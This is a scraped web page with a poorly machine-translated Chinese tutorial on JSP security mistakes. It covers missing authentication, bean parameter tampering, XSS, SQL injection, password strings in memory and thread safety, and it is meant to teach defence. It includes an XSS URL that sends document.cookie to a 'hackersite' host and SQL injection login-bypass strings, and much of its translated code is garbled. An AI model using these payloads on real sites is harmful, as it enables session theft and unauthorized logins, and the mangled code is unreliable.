JSP security programming instance

xiaoxiao2021-03-05  23

Java Server Page (JSP) as a technique for establishing a dynamic web page is constantly warming. JSP and ASP, PHP, working mechanism are not the same. Generally speaking, the JSP page is compiled during execution, not explanatory. The first calling JSP file is actually a process of compiling as a servlet. When the browser requests this JSP file to the server, the server will check if the JSP file has changed since the last compiled. If there is no change, it will execute the servlet directly, and it is not necessary to recompile, so that efficiency has been significantly improved. .

Today I will look at the security of JSP from the perspective of scripting from scripting, such as source exposure, is not within the scope of this article. The main purpose of writing this article is to give the beginner JSP programming friends to wake up, from the beginning, we must cultivate a sense of security programming, do not make mistakes that should not be made to avoid the loss of avoidance. In addition, I am also an initiator, please post if there is a mistake or other comments.

First, the certification is not strict - low-level mistakes

In the Ocean Forum v1.12 revision, user_manager.jsp is the user-managed page, the author knows its sensitivity, plus a lock:

IF ((Session.getValue ("UserName") == NULL) || ("UserClass") == NULL) || (! session.getvalue ("UserClass"). Equals ("System Administrator"). Equals ))) {Response.sendredirect ("err.jsp? Id = 14"); return;}

If you want to view, modify the information of a user, you must use the modifyuser_manager.jsp this file. The administrator submit http://www.somesite.com/yyforum/modifyuser_manager.jsp?modifyID=51 is the information of the user who modifies the ID 51 (the administrator's default user ID is 51). However, such an important file lacks authentication, ordinary users (including tourists) also directly submit the above request, and there is no such thing as a list (password is also a plain text storage, displayed). Modifyuser_manage.jsp also is the portal open until the malicious user performs the operation of the data update, and he will see the wrong display of the wrong display when the data update operation is performed, redirect to user_manager.jsp. Obviously, it is not enough to lock a door. When programming, you must not be annoying to add an identity authentication for each of the added identity.

Second, keep the entrance to javabean

The core of JSP component technology is a Java component called bean. In the program, logic control, database operations are placed in the JavaBeans component, then call it in the JSP file, which increases the clarity of the program and the reusability of the program. The JSP page is very concise compared to traditional ASP or PHP pages, because many dynamic page processing can be encapsulated into JavaBean.

To change the JavaBean property, you want to use the tag.

The following code is part of the source code of an electronic shopping system, which is used to display information in the user's shopping box, and checkout.jsp is used to check out.

Your Basket </ title > </ head> <body> <p> you have added the item <jsp :: getproperty name = "mybasket" property = "newItem" /> to your basket. Your Total IS $ <jsp :: getproperty Name = "mybasket" property = "balance" /> proceed to <a href="checkout.jsp"> Checkout </A> Notes Property = "*"? This indicates that the user enters in the visible JSP page, or the value of all variables submitted directly through the query string will be stored in the matching bea property.</p> <p>Generally, the user is so submitted: http://www.somesite.com/addtobasket.jsp?newItem=Item0105342</p> <p>But what do you don't accept the rules? They may be submitted: http://www.somesite.com/addtobasket.jsp?newitem=Item0105342&balance=0</p> <p>In this way, Balance = 0 is stored in JavaBean. When they click "Chekout" to check out, the cost is free.</p> <p>This is the same as the safety problem caused by global variables in PHP. This shows: "Property =" * "" must be used with caution!</p> <p>Third, Changsheng's unneained cross-station script</p> <p>Cross Scripting Attack refers to the HTML code in the remote web page, inserts malicious JavaScript, VBScript, Activex, HTML, or Flash and other scripts, stealing the privacy of users of this page, changing the user's settings, Destroy the user's data. Cross-station scripting attacks do not affect the operation of the server and web program in most cases, but the security of the client constitutes a serious threat.</p> <p>The simplest example is given by an imitation network. When we submit http://www.somesite.com/acjspbbs/dispuser.jsp?name =someuser <; Script> Alert (Document.cookie) </ script> The dialog box that contains yourself cookie information can pop up. Submit http://www.somesite.com/acjspbbs/dispuser.jsp?name =someuser <; script> Document.Location = 'http://www.163.com' </ script> can redirect to Netease .</p> <p>Since the script does not perform any encoded or filter malicious code when returning to the "Name" variable, the script code can be executed on the user browser when the user accesses the malicious "Name" variable data link. User privacy leaks and other consequences. For example, the link below: http://www.somesite.com/acjspbbs/dispuser.jsp? Name = Someuser <; script> Document.Location = 'http://www.hackersite.com/xxx.xxx?' Document .cookie </ script></p> <p>XXX.xxx is used to collect parameters followed by side, and the parameters here are Document.cookie, which is the cookie of users who are accessing this link. In the ASP world, many people have practiced the technology of stealing cookie. In JSP, reading cookies is not difficult. Of course, the cross-station script will never be limited to the function of stealing cookie, I believe everyone has a certain understanding, here is not expanding.</p> <p>Both the inputs and outputs of all dynamic pages should be encoded, which can greatly avoid attacks of cross-station scripts. Unfortunately, all invisible data codes is a resource-intensive job that will affect the performance of the Web server. A commonly used means or filtering, such as the following code, replace the dangerous characters:</p> <p><% String message = request.getParameter ("Message"); message = message.replace ('<', '_'); message = message.replace ('>', '_'); message = message.Replace '"', '_'); message = message.replace ('' ',' _ '); message = message.replace ('% ',' _ '); message = message.replace ('; ',' _ '); message = message.replace (', '_'); message = message.replace (')', '_'); message = message.replace ('&', '_'); message = Message.Replace (' ', '_');%></p> <p>A more active way is to use regular expressions to allow only input specified characters: public boolean isvalidinput (str.matches ("[a-z0-9] ")) Return True; else returnaf false;}</p> <p>Fourth, always keep in mind that SQL injection general programming books When you teach beginners, they don't pay attention to develop safety programming habits from getting started. The famous "JSP Programming Thought and Practice" is to write to beginners to write a login system with a database (MySQL):</p> <p>Statement stmt = conn.createStatement (); String checkUser = "select * from login where username = '" userName "' and userpassword = '" userPassword "'"; ResultSet rs = stmt.executeQuery (checkUser); if (rs.next ()) response.sendredirect ("SuccessLogin.jsp"); Else Response.sendRedirect ("FailureLogin.jsp"); this makes the book of the book use such a successful "band hole" login code for a long time. If there is a user named "jack" in the database, at least the following methods can be logged in without knowing the password:</p> <p>Username: jack password: 'or' a '=' a</p> <p>Username: jack password: 'OR 1 = 1 / *</p> <p>Username: Jack 'OR 1 = 1 / * Password: (arbitrary)</p> <p>Lybbs (Ling Yun Forum) ver 2.9.server is inspected on the data submitted by Loginout.java:</p> <p>IF (S.Equals ("") │ │EQUALS ("")) Throw new useXexception ("User Name or Password is not empty."); if (s.indexof ("'")! = -1 ││ S.indexof ("" ")! = -1 ││ s.indexof (", ")! = -1 ││ s.indexof (" / ")! = -1) throw new useEREXCEPTION (" User name cannot be included '"/, Other illegal characters."); If (S1.Indexof ("'")! = -1 ││ s1.indexof ("" ")! = -1 │ │ s1.indexof (" * ")! = -1 ││ s1.indexof ("/")! = -1) throw new useRexception ("Password cannot include illegal characters such as'" / *. "); If (S.StartSwith (" ") ││ S1. StartSwith ("")) throw new userexception ("" "" "The user name or password cannot be used in space.");</p> <p>But I don't know why he only filters an asterisk for the user name. In addition, the forward slash should also be listed in "Blacklist". I still think that only the regular expression allows only characters within the specified range to be simply. Here you must remind: Don't think you can effectively resist all attacks with some database systems. PINKEYES's "PHP Injection Instance" has gave the "Magic_QUOTES_GPC = ON" in the PHP configuration file.</p> <p>5. Hidden dangers from String objects</p> <p>The Java platform does make security programming more convenient. There is no pointer in Java, which means that the Java program is no longer like c to address any memory location in the address space. When the JSP file is compiled into a .class file, it is checked when it is checked, for example, when an attempt to access an array element that exceeds an array size will be rejected, which greatly avoids the buffer overflow attack. However, String objects will bring us some security hazards. If the password is stored in the Java String object, the password will always reside in memory until the garbage collection or process is terminated. Even if garbage collection is performed, it still exists in the idle memory heap until the memory space is reused. The longer the password String resides in memory, the greater the danger of being eavesdropped. Worse, if the actual memory is reduced, the operating system will convert this password String to the switch to the disk, so it is easy to suffer from disk block eavesdropping attacks. In order to minimize this leakage (but not eliminated), you should store your password in the char array and zero it after use (String is not variable, no need to zero it). Sixth, thread safety</p> <p>"Java can do, JSP can do". Unlike ASP, PHP, etc., the JSP is executed by a multi-threaded manner by default. Performing a multi-threaded manner can greatly reduce the resource requirements of the system, improve the system's concurrency and response time. Threads are independent, concurrent execution paths in the program, each thread has its own stack, its own program counter, and its own local variable. Although most of the operations in multi-threaded applications are parallel, some operations (such as updating global flags or handling sharing files) cannot be performed in parallel. If you don't do the synchronization of threads, when you have a big and annual access, you don't need malicious users' "enthusiastic participation", the problem will also appear. The easiest solution is to add: <% @ page isthreadsafe = "false"%> instructions in related JSP files, making it executed in a single-threaded manner, at this time, all clients are executed in a serial manner. This will seriously reduce the performance of the system. We can still let JSP files perform in multi-threaded manner, synchronize threads by locking the function. A function adds a lock with the synchronized keyword. Look into the example below:</p> <p>Public class myclass {int a; public init () {// This method can simultaneously call A = 0 at the same time;} public synchronized void set () {// Two threads cannot call this method if (A> 5) {A = a-5;}}}</p> <p>But this will still have a certain impact on the performance of the system. A better solution is to use local variables instead of instance variables. Since the instance variable is allocated in the heap, all thread sharing belonging to this instance is not a thread secure, and the local variable is allocated in the stack, because each thread has its own stack space, so thus thread is safe. . For example, add your friends from the Lingyun Forum:</p> <p>public void addFriend (int i, String s, String s1) throws DBConnectException {try {if ...... else {DBConnect dbconnect = new DBConnect ( "insert into friend (authorid, friendname) values ​​(,)??"); dbconnect.setInt (1, i); dbconnect.setString (2, s); dbconnect.executeUpdate (); dbconnect.close (); dbconnect = null;}} catch (Exception exception) {throw new DBConnectException (exception.getMessage ()); }} The following is a call: friendName = ParameterUtils.getString (request, "friendname"); if (action.equals ( "adduser")) {forumFriend.addFriend (Integer.parseInt (cookieID), friendName, cookieName); errorInfo = forumFriend .GetersRorinfo ();</p> <p>If an instance variable is used, the instance variable belongs to all thread shares of the instance, and it is possible that the user A has passed a certain parameter, and the parameter is not intentionally modified by the user B, causing friends. Mismatch phenomenon.</p> <p>Reference: Jordan Dimov: "JSP Security" developerWorks: "Java Security" Xu Chunjin: JSP program to write thread safety</p></div><div class="text-center mt-3 text-grey"> 转载请注明原文地址:https://www.9cbs.com/read-33030.html</div><div class="plugin d-flex justify-content-center mt-3"></div><hr><div class="row"><div class="col-lg-12 text-muted mt-2"><i class="icon-tags mr-2"></i><span class="badge border border-secondary mr-2"><h2 class="h6 mb-0 small"><a class="text-secondary" href="tag-2.html">9cbs</a></h2></span></div></div></div></div><div class="card card-postlist border-white shadow"><div class="card-body"><div class="card-title"><div class="d-flex justify-content-between"><div><b>New Post</b>(<span class="posts">0</span>) </div><div></div></div></div><ul class="postlist list-unstyled"> </ul></div></div><div class="d-none threadlist"><input type="checkbox" name="modtid" value="33030" checked /></div></div></div></div></div><footer class="text-muted small bg-dark py-4 mt-3" id="footer"><div class="container"><div class="row"><div class="col">CopyRight © 2020 All Rights Reserved </div><div class="col text-right">Processed: <b>0.054</b>, SQL: <b>9</b></div></div></div></footer><script src="./lang/en-us/lang.js?2.2.0"></script><script src="view/js/jquery.min.js?2.2.0"></script><script src="view/js/popper.min.js?2.2.0"></script><script src="view/js/bootstrap.min.js?2.2.0"></script><script src="view/js/xiuno.js?2.2.0"></script><script src="view/js/bootstrap-plugin.js?2.2.0"></script><script src="view/js/async.min.js?2.2.0"></script><script src="view/js/form.js?2.2.0"></script><script> var debug = DEBUG = 0; var url_rewrite_on = 1; var url_path = './'; var forumarr = {"1":"Tech"}; var fid = 1; var uid = 0; var gid = 0; xn.options.water_image_url = 'view/img/water-small.png'; </script><script src="view/js/wellcms.js?2.2.0"></script><a class="scroll-to-top rounded" href="javascript:void(0);"><i class="icon-angle-up"></i></a><a class="scroll-to-bottom rounded" href="javascript:void(0);" style="display: inline;"><i class="icon-angle-down"></i></a></body></html><script> var forum_url = 'list-1.html'; var safe_token = 'hvqo8CUQh3suo3R1DU8JD3vyQTiB5Jk9_2BEh_2B8Oky91GJYjXGG_2BwAXFifKV62SkDt_2B2O0R_2B6h9ocBUROnq65Oow_3D_3D'; var body = $('body'); body.on('submit', '#form', function() { var jthis = $(this); var jsubmit = jthis.find('#submit'); jthis.reset(); jsubmit.button('loading'); var postdata = jthis.serializeObject(); $.xpost(jthis.attr('action'), postdata, function(code, message) { if(code == 0) { location.reload(); } else { $.alert(message); jsubmit.button('reset'); } }); return false; }); function resize_image() { var jmessagelist = $('div.message'); var first_width = jmessagelist.width(); jmessagelist.each(function() { var jdiv = $(this); var maxwidth = jdiv.attr('isfirst') ? first_width : jdiv.width(); var jmessage_width = Math.min(jdiv.width(), maxwidth); jdiv.find('img, embed, iframe, video').each(function() { var jimg = $(this); var img_width = this.org_width; var img_height = this.org_height; if(!img_width) { var img_width = jimg.attr('width'); var img_height = jimg.attr('height'); this.org_width = img_width; this.org_height = img_height; } if(img_width > jmessage_width) { if(this.tagName == 'IMG') { jimg.width(jmessage_width); jimg.css('height', 'auto'); jimg.css('cursor', 'pointer'); jimg.on('click', function() { }); } else { jimg.width(jmessage_width); var height = (img_height / img_width) * jimg.width(); jimg.height(height); } } }); }); } function resize_table() { $('div.message').each(function() { var jdiv = $(this); jdiv.find('table').addClass('table').wrap('<div class="table-responsive"></div>'); }); } $(function() { resize_image(); resize_table(); $(window).on('resize', resize_image); }); var jmessage = $('#message'); jmessage.on('focus', function() {if(jmessage.t) { clearTimeout(jmessage.t); jmessage.t = null; } jmessage.css('height', '6rem'); }); jmessage.on('blur', function() {jmessage.t = setTimeout(function() { jmessage.css('height', '2.5rem');}, 1000); }); $('#nav li[data-active="fid-1"]').addClass('active'); </script>